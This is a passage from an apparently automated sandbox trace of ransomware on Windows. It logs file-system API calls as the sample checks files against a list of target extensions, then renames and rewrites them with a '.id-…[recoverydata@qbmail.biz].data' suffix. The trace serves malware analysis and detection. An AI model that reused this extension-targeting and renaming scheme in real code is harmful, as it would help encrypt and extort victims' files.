Shared\\ink\\hwrusalm.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0086.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.256] lstrlenW (lpString=".doc") returned 4 [0086.256] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.256] lstrlenW (lpString=".docx") returned 5 [0086.256] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0086.256] lstrlenW (lpString=".pdf") returned 4 [0086.256] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.257] lstrlenW (lpString=".xls") returned 4 [0086.257] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.257] lstrlenW (lpString=".xlsx") returned 5 [0086.257] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0086.257] lstrlenW (lpString=".ppt") returned 4 [0086.257] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.257] lstrlenW (lpString=".zip") returned 4 [0086.257] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.257] lstrlenW (lpString=".rar") returned 4 [0086.257] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.257] lstrlenW (lpString=".bz2") returned 4 [0086.257] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.257] lstrlenW (lpString=".7z") returned 3 [0086.257] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.258] lstrlenW (lpString=".dbf") returned 4 [0086.258] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.258] lstrlenW (lpString=".1cd") returned 4 [0086.258] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.258] lstrlenW (lpString=".jpg") returned 4 [0086.258] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.259] lstrlenW (lpString=".doc") returned 4 [0086.259] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.259] lstrlenW (lpString=".docx") returned 5 [0086.259] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0086.259] lstrlenW (lpString=".pdf") returned 4 [0086.259] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.259] lstrlenW (lpString=".xls") returned 4 [0086.259] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.259] lstrlenW (lpString=".xlsx") returned 5 [0086.259] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0086.260] lstrlenW (lpString=".ppt") returned 4 [0086.260] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.260] lstrlenW (lpString=".zip") returned 4 [0086.260] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.260] lstrlenW (lpString=".rar") returned 4 [0086.260] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.260] lstrlenW (lpString=".bz2") returned 4 [0086.260] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.260] lstrlenW (lpString=".7z") returned 3 [0086.260] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.261] lstrlenW (lpString=".dbf") returned 4 [0086.261] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.261] lstrlenW (lpString=".1cd") returned 4 [0086.261] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.261] lstrlenW (lpString=".jpg") returned 4 [0086.261] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.261] lstrcmpiW (lpString1=".dat", lpString2=".data") returned -1 [0086.261] lstrlenW (lpString="hwrusash.dat") returned 12 [0086.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0086.262] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=4120784) returned 1 [0086.262] CloseHandle (hObject=0x214) returned 1 [0086.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0086.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0 [0086.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.263] lstrlenW (lpString=".doc") returned 4 [0086.263] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.263] lstrlenW (lpString=".docx") returned 5 [0086.263] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0086.263] lstrlenW (lpString=".pdf") returned 4 [0086.263] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.263] lstrlenW (lpString=".xls") returned 4 [0086.263] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.263] lstrlenW (lpString=".xlsx") returned 5 [0086.263] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0086.264] lstrlenW (lpString=".ppt") returned 4 [0086.264] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.264] lstrlenW (lpString=".zip") returned 4 [0086.264] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.264] lstrlenW (lpString=".rar") returned 4 [0086.264] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.264] lstrlenW (lpString=".bz2") returned 4 [0086.264] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.264] lstrlenW (lpString=".7z") returned 3 [0086.264] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.264] lstrlenW (lpString=".dbf") returned 4 [0086.264] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.264] lstrlenW (lpString=".1cd") returned 4 [0086.264] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.264] lstrlenW (lpString=".jpg") returned 4 [0086.265] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.265] lstrlenW (lpString=".doc") returned 4 [0086.265] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.265] lstrlenW (lpString=".docx") returned 5 [0086.265] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0086.265] lstrlenW (lpString=".pdf") returned 4 [0086.265] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.265] lstrlenW (lpString=".xls") returned 4 [0086.265] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.265] lstrlenW (lpString=".xlsx") returned 5 [0086.265] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0086.265] lstrlenW (lpString=".ppt") returned 4 [0086.265] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.265] lstrlenW (lpString=".zip") returned 4 [0086.266] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.266] lstrlenW (lpString=".rar") returned 4 [0086.266] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.266] lstrlenW (lpString=".bz2") returned 4 [0086.266] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.266] lstrlenW (lpString=".7z") returned 3 [0086.266] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.266] lstrlenW (lpString=".dbf") returned 4 [0086.266] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.266] lstrlenW (lpString=".1cd") returned 4 [0086.266] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.266] lstrlenW (lpString=".jpg") returned 4 [0086.266] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.267] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.267] lstrlenW (lpString="ipscat.xml") returned 10 [0086.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0086.267] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2592) returned 1 [0086.267] CloseHandle (hObject=0x214) returned 1 [0086.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0086.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.268] lstrlenW (lpString=".doc") returned 4 [0086.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.268] lstrlenW (lpString=".docx") returned 5 [0086.268] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0086.268] lstrlenW (lpString=".pdf") returned 4 [0086.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.268] lstrlenW (lpString=".xls") returned 4 [0086.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.268] lstrlenW (lpString=".xlsx") returned 5 [0086.268] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0086.268] lstrlenW (lpString=".ppt") returned 4 [0086.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.268] lstrlenW (lpString=".zip") returned 4 [0086.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.269] lstrlenW (lpString=".rar") returned 4 [0086.269] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.269] lstrlenW (lpString=".bz2") returned 4 [0086.269] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.269] lstrlenW (lpString=".7z") returned 3 [0086.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.269] lstrlenW (lpString=".dbf") returned 4 [0086.269] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.269] lstrlenW (lpString=".1cd") returned 4 [0086.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.269] lstrlenW (lpString=".jpg") returned 4 [0086.269] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.269] lstrlenW (lpString=".doc") returned 4 [0086.269] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.269] lstrlenW (lpString=".docx") returned 5 [0086.269] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0086.269] lstrlenW (lpString=".pdf") returned 4 [0086.269] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.269] lstrlenW (lpString=".xls") returned 4 [0086.269] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.270] lstrlenW (lpString=".xlsx") returned 5 [0086.270] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0086.270] lstrlenW (lpString=".ppt") returned 4 [0086.270] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.270] lstrlenW (lpString=".zip") returned 4 [0086.270] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.270] lstrlenW (lpString=".rar") returned 4 [0086.270] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.270] lstrlenW (lpString=".bz2") returned 4 [0086.270] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.270] lstrlenW (lpString=".7z") returned 3 [0086.270] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.270] lstrlenW (lpString=".dbf") returned 4 [0086.270] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.270] lstrlenW (lpString=".1cd") returned 4 [0086.270] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.270] lstrlenW (lpString=".jpg") returned 4 [0086.270] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.271] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.271] lstrlenW (lpString="ipschs.xml") returned 10 [0086.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0086.271] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2462) returned 1 [0086.271] CloseHandle (hObject=0x214) returned 1 [0086.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0086.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.272] lstrlenW (lpString=".doc") returned 4 [0086.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.272] lstrlenW (lpString=".docx") returned 5 [0086.272] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0086.272] lstrlenW (lpString=".pdf") returned 4 [0086.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.272] lstrlenW (lpString=".xls") returned 4 [0086.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.272] lstrlenW (lpString=".xlsx") returned 5 [0086.272] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0086.272] lstrlenW (lpString=".ppt") returned 4 [0086.272] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.272] lstrlenW (lpString=".zip") returned 4 [0086.272] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.273] lstrlenW (lpString=".rar") returned 4 [0086.273] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.273] lstrlenW (lpString=".bz2") returned 4 [0086.273] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.273] lstrlenW (lpString=".7z") returned 3 [0086.273] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.273] lstrlenW (lpString=".dbf") returned 4 [0086.273] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.273] lstrlenW (lpString=".1cd") returned 4 [0086.273] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.273] lstrlenW (lpString=".jpg") returned 4 [0086.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.273] lstrlenW (lpString=".doc") returned 4 [0086.273] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.273] lstrlenW (lpString=".docx") returned 5 [0086.273] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0086.274] lstrlenW (lpString=".pdf") returned 4 [0086.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.274] lstrlenW (lpString=".xls") returned 4 [0086.274] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.274] lstrlenW (lpString=".xlsx") returned 5 [0086.274] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0086.274] lstrlenW (lpString=".ppt") returned 4 [0086.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.274] lstrlenW (lpString=".zip") returned 4 [0086.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.274] lstrlenW (lpString=".rar") returned 4 [0086.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.274] lstrlenW (lpString=".bz2") returned 4 [0086.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.274] lstrlenW (lpString=".7z") returned 3 [0086.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.274] lstrlenW (lpString=".dbf") returned 4 [0086.274] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.274] lstrlenW (lpString=".1cd") returned 4 [0086.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.275] lstrlenW (lpString=".jpg") returned 4 [0086.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.560] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.560] lstrlenW (lpString="ipscht.xml") returned 10 [0086.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0087.021] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=2436) returned 1 [0087.021] CloseHandle (hObject=0x20c) returned 1 [0087.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0087.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0087.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0087.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0087.021] lstrlenW (lpString=".doc") returned 4 [0087.022] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.022] lstrlenW (lpString=".docx") returned 5 [0087.022] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0087.022] lstrlenW (lpString=".pdf") returned 4 [0087.022] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.022] lstrlenW (lpString=".xls") returned 4 [0087.022] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.022] lstrlenW (lpString=".xlsx") returned 5 [0087.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0087.022] lstrlenW (lpString=".ppt") returned 4 [0087.022] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0087.022] lstrlenW (lpString=".zip") returned 4 [0087.022] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.022] lstrlenW (lpString=".rar") returned 4 [0087.022] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.022] lstrlenW (lpString=".bz2") returned 4 [0087.022] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.022] lstrlenW (lpString=".7z") returned 3 [0087.022] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0087.023] lstrlenW (lpString=".dbf") returned 4 [0087.023] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.926] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.926] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0088.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0089.038] GetLastError () returned 0x0 [0089.038] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x61d, lpOverlapped=0x0) returned 1 [0089.148] WriteFile (in: hFile=0x214, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x620, 